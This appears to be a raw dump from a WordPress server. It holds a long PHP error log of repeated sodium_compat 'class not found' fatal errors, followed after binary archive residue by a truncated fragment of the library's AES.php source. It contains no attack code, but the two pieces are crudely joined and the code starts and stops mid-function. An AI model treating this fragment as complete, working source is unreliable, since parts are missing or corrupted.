18:15:25 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/Poly1305.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/Poly1305.php on line 10 [04-Jun-2025 19:20:53 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/AES.php:14 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/AES.php on line 14 [04-Jun-2025 19:23:38 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Curve25519" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/X25519.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/X25519.php on line 10 [04-Jun-2025 19:23:53 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/Salsa20.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/Salsa20.php on line 10 [04-Jun-2025 19:42:09 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Curve25519_H" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/Curve25519.php:16 Stack trace: #0 /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/Ed25519.php(7): require_once() #1 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16 [04-Jun-2025 19:44:55 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/ChaCha20.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/ChaCha20.php on line 10 [04-Jun-2025 23:11:02 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/SipHash.php:12 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/SipHash.php on line 12 [05-Jun-2025 01:01:11 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Salsa20" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/HSalsa20.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/HSalsa20.php on line 10 [05-Jun-2025 01:11:42 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_HSalsa20" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/XSalsa20.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/XSalsa20.php on line 10 [05-Jun-2025 01:20:28 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Curve25519_H" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/Curve25519.php:16 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16 [05-Jun-2025 02:16:19 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_ChaCha20" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/HChaCha20.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/HChaCha20.php on line 10 [05-Jun-2025 02:16:49 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_HChaCha20" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/XChaCha20.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/XChaCha20.php on line 10 [05-Jun-2025 02:17:05 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/BLAKE2b.php:12 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/BLAKE2b.php on line 12 [05-Jun-2025 04:55:39 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_AES" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/AEGIS256.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/AEGIS256.php on line 10 [05-Jun-2025 04:55:54 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Ed25519" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/Ristretto255.php:6 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/Ristretto255.php on line 6 [05-Jun-2025 05:21:09 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_AES" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/AEGIS128L.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/AEGIS128L.php on line 10 [11-Jun-2025 10:40:33 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Salsa20" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/HSalsa20.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/HSalsa20.php on line 10 [11-Jun-2025 12:09:22 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/SipHash.php:12 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/SipHash.php on line 12 [12-Jun-2025 07:05:05 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_HSalsa20" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/XSalsa20.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/XSalsa20.php on line 10 [13-Jun-2025 02:21:58 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/BLAKE2b.php:12 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/BLAKE2b.php on line 12 [13-Jun-2025 06:45:23 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Ed25519" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/Ristretto255.php:6 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/Ristretto255.php on line 6 [14-Jun-2025 03:47:16 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Curve25519_H" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/Curve25519.php:16 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16 [14-Jun-2025 04:36:26 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/AES.php:14 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/AES.php on line 14 [14-Jun-2025 07:31:54 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_AES" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/AEGIS256.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/AEGIS256.php on line 10 [15-Jun-2025 18:54:03 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/Salsa20.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/Salsa20.php on line 10 [15-Jun-2025 20:18:57 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_HChaCha20" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/XChaCha20.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/XChaCha20.php on line 10 [15-Jun-2025 23:21:26 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/Poly1305.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/Poly1305.php on line 10 [16-Jun-2025 07:52:42 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/BLAKE2b.php:12 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/BLAKE2b.php on line 12 [16-Jun-2025 12:10:14 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Ed25519" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/Ristretto255.php:6 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/Ristretto255.php on line 6 [16-Jun-2025 13:46:10 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/ChaCha20.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/ChaCha20.php on line 10 [17-Jun-2025 05:44:58 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_ChaCha20" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/HChaCha20.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/HChaCha20.php on line 10 [17-Jun-2025 05:45:28 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Curve25519" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/X25519.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/X25519.php on line 10 [19-Jun-2025 20:14:14 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/ChaCha20.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/ChaCha20.php on line 10 [19-Jun-2025 21:51:29 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Curve25519_H" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/Curve25519.php:16 Stack trace: #0 /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/Ed25519.php(7): require_once() #1 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16 [20-Jun-2025 02:11:39 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_AES" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/AEGIS128L.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/AEGIS128L.php on line 10 [28-Jun-2025 01:37:11 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/Poly1305.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/Poly1305.php on line 10 [28-Jun-2025 03:31:16 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/AES.php:14 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/AES.php on line 14 [28-Jun-2025 03:34:05 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Curve25519" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/X25519.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/X25519.php on line 10 [28-Jun-2025 03:34:26 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/Salsa20.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/Salsa20.php on line 10 [28-Jun-2025 03:52:57 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Curve25519_H" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/Curve25519.php:16 Stack trace: #0 /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/Ed25519.php(7): require_once() #1 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16 [28-Jun-2025 03:55:44 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/ChaCha20.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/ChaCha20.php on line 10 [28-Jun-2025 07:18:21 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/SipHash.php:12 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/SipHash.php on line 12 [28-Jun-2025 08:54:25 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Salsa20" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/HSalsa20.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/HSalsa20.php on line 10 [28-Jun-2025 09:12:34 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_HSalsa20" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/XSalsa20.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/XSalsa20.php on line 10 [28-Jun-2025 09:29:06 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Curve25519_H" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/Curve25519.php:16 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16 [28-Jun-2025 10:31:23 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_ChaCha20" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/HChaCha20.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/HChaCha20.php on line 10 [28-Jun-2025 10:31:53 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_HChaCha20" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/XChaCha20.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/XChaCha20.php on line 10 [28-Jun-2025 10:32:09 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/BLAKE2b.php:12 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/BLAKE2b.php on line 12 [28-Jun-2025 13:41:54 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_AES" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/AEGIS256.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/AEGIS256.php on line 10 [28-Jun-2025 13:42:09 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Ed25519" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/Ristretto255.php:6 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/Ristretto255.php on line 6 [28-Jun-2025 14:22:44 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_AES" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/AEGIS128L.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/AEGIS128L.php on line 10 [11-Jul-2025 09:39:17 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/Poly1305.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/Poly1305.php on line 10 [11-Jul-2025 09:47:07 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/AES.php:14 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/AES.php on line 14 [11-Jul-2025 09:47:22 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Curve25519" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/X25519.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/X25519.php on line 10 [11-Jul-2025 09:47:38 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/Salsa20.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/Salsa20.php on line 10 [11-Jul-2025 09:48:23 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Curve25519_H" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/Curve25519.php:16 Stack trace: #0 /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/Ed25519.php(7): require_once() #1 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16 [11-Jul-2025 09:48:38 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/ChaCha20.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/ChaCha20.php on line 10 [11-Jul-2025 09:57:17 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/SipHash.php:12 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/SipHash.php on line 12 [11-Jul-2025 10:11:50 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Salsa20" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/HSalsa20.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/HSalsa20.php on line 10 [11-Jul-2025 10:12:21 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_HSalsa20" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/XSalsa20.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/XSalsa20.php on line 10 [11-Jul-2025 10:13:37 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Curve25519_H" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/Curve25519.php:16 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16 [11-Jul-2025 10:18:30 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_ChaCha20" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/HChaCha20.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/HChaCha20.php on line 10 [11-Jul-2025 10:19:02 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_HChaCha20" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/XChaCha20.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/XChaCha20.php on line 10 [11-Jul-2025 10:19:19 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/BLAKE2b.php:12 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/BLAKE2b.php on line 12 [11-Jul-2025 10:28:26 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_AES" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/AEGIS256.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/AEGIS256.php on line 10 [11-Jul-2025 10:28:42 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Ed25519" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/Ristretto255.php:6 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/Ristretto255.php on line 6 [11-Jul-2025 10:36:50 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_AES" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/AEGIS128L.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/AEGIS128L.php on line 10 PK+L[f( > >src/Core/AES.phpnu[orthogonalize(); self::sbox($q); $q->orthogonalize(); return $q[0] & self::U32_MAX; } /** * Calculate the key schedule from a given random key * * @param string $key * @return ParagonIE_Sodium_Core_AES_KeySchedule * @throws SodiumException */ public static function keySchedule($key) { $key_len = self::strlen($key); switch ($key_len) { case 16: $num_rounds = 10; break; case 24: $num_rounds = 12; break; case 32: $num_rounds = 14; break; default: throw new SodiumException('Invalid key length: ' . $key_len); } $skey = array(); $comp_skey = array(); $nk = $key_len >> 2; $nkf = ($num_rounds + 1) << 2; $tmp = 0; for ($i = 0; $i < $nk; ++$i) { $tmp = self::load_4(self::substr($key, $i << 2, 4)); $skey[($i << 1)] = $tmp; $skey[($i << 1) + 1] = $tmp; } for ($i = $nk, $j = 0, $k = 0; $i < $nkf; ++$i) { if ($j === 0) { $tmp = (($tmp & 0xff) << 24) | ($tmp >> 8); $tmp = (self::subWord($tmp) ^ self::$Rcon[$k]) & self::U32_MAX; } elseif ($nk > 6 && $j === 4) { $tmp = self::subWord($tmp); } $tmp ^= $skey[($i - $nk) << 1]; $skey[($i << 1)] = $tmp & self::U32_MAX; $skey[($i << 1) + 1] = $tmp & self::U32_MAX; if (++$j === $nk) { /** @psalm-suppress LoopInvalidation */ $j = 0; ++$k; } } for ($i = 0; $i < $nkf; $i += 4) { $q = ParagonIE_Sodium_Core_AES_Block::fromArray( array_slice($skey, $i << 1, 8) ); $q->orthogonalize(); // We have to overwrite $skey since we're not using C pointers like BearSSL did for ($j = 0; $j < 8; ++$j) { $skey[($i << 1) + $j] = $q[$j]; } } for ($i = 0, $j = 0; $i < $nkf; ++$i, $j += 2) { $comp_skey[$i] = ($skey[$j] & 0x55555555) | ($skey[$j + 1] & 0xAAAAAAAA); } return new ParagonIE_Sodium_Core_AES_KeySchedule($comp_skey, $num_rounds); } /** * Mutates $q * * @param ParagonIE_Sodium_Core_AES_KeySchedule $skey * @param ParagonIE_Sodium_Core_AES_Block $q * @param int $offset * @return void */ public static function addRoundKey( ParagonIE_Sodium_Core_AES_Block $q, ParagonIE_Sodium_Core_AES_KeySchedule $skey, $offset = 0 ) { $block = $skey->getRoundKey($offset); for ($j = 0; $j < 8; ++$j) { $q[$j] = ($q[$j] ^ $block[$j]) & ParagonIE_Sodium_Core_Util::U32_MAX; } } /** * This mainly exists for testing, as we need the round key features for AEGIS. * * @param string $message * @param string $key * @return string * @throws SodiumException */ public static function decryptBlockECB($message, $key) { if (self::strlen($message) !== 16) { throw new SodiumException('decryptBlockECB() expects a 16 byte message'); } $skey = self::keySchedule($key)->expand(); $q = ParagonIE_Sodium_Core_AES_Block::init(); $q[0] = self::load_4(self::substr($message, 0, 4)); $q[2] = self::load_4(self::substr($message, 4, 4)); $q[4] = self::load_4(self::substr($message, 8, 4)); $q[6] = self::load_4(self::substr($message, 12, 4)); $q->orthogonalize(); self::bitsliceDecryptBlock($skey, $q); $q->orthogonalize(); return self::store32_le($q[0]) . self::store32_le($q[2]) . self::store32_le($q[4]) . self::store32_le($q[6]); } /** * This mainly exists for testing, as we need the round key features for AEGIS. * * @param string $message * @param string $key * @return string * @throws SodiumException */ public static function encryptBlockECB($message, $key) { if (self::strlen($message) !== 16) { throw new SodiumException('encryptBlockECB() expects a 16 byte message'); } $comp_skey = self::keySchedule($key); $skey = $comp_skey->expand(); $q = ParagonIE_Sodium_Core_AES_Block::init(); $q[0] = self::load_4(self::substr($message, 0, 4)); $q[2] = self::load_4(self::substr($message, 4, 4)); $q[4] = self::load_4(self::substr($message, 8, 4)); $q[6] = self::load_4(self::substr($message, 12, 4)); $q->orthogonalize(); self::bitsliceEncryptBlock($skey, $q); $q->orthogonalize(); return self::store32_le($q[0]) . self::store32_le($q[2]) . self::store32_le($q[4]) . self::store32_le($q[6]); } /** * Mutates $q * * @param ParagonIE_Sodium_Core_AES_Expanded $skey * @param ParagonIE_Sodium_Core_AES_Block $q * @return void */ public static function bitsliceEncryptBlock( ParagonIE_Sodium_Core_AES_Expanded $skey, ParagonIE_Sodium_Core_AES_Block $q ) { self::addRoundKey($q, $skey); for ($u = 1; $u < $skey->getNumRounds(); ++$u) { self::sbox($q); $q->shiftRows(); $q->mixColumns(); self::addRoundKey($q, $skey, ($u << 3)); } self::sbox($q); $q->shiftRows(); self::addRoundKey($q, $skey, ($skey->getNumRounds() << 3)); } /** * @param string $x * @param string $y * @return string */ public static function aesRound($x, $y) { $q = ParagonIE_Sodium_Core_AES_Block::init(); $q[0] = self::load_4(self::substr($x, 0, 4)); $q[2] = self::load_4(self::substr($x, 4, 4)); $q[4] = self::load_4(self::substr($x, 8, 4)); $q[6] = self::load_4(self::substr($x, 12, 4)); $rk = ParagonIE_Sodium_Core_AES_Block::init(); $rk[0] = $rk[1] = self::load_4(self::substr($y, 0, 4)); $rk[2] = $rk[3] = self::load_4(self::substr($y, 4, 4)); $rk[4] = $rk[5] = self::load_4(self::substr($y, 8, 4)); $rk[6] = $rk[7] = self::load_4(self::substr($y, 12, 4)); $q->orthogonalize(); self::sbox($q); $q->shiftRows(); $q->mixColumns(); $q->orthogonalize(); // add round key without key schedule: for ($i = 0; $i < 8; ++$i) { $q[$i] ^= $rk[$i]; } return self::store32_le($q[0]) . self::store32_le($q[2]) . self::store32_le($q[4]) . self::store32_le($q[6]); } /** * Process two AES blocks in one shot. * * @param string $b0 First AES block * @param string $rk0 First round key * @param string $b1 Second AES block * @param string $rk1 Second round key * @return 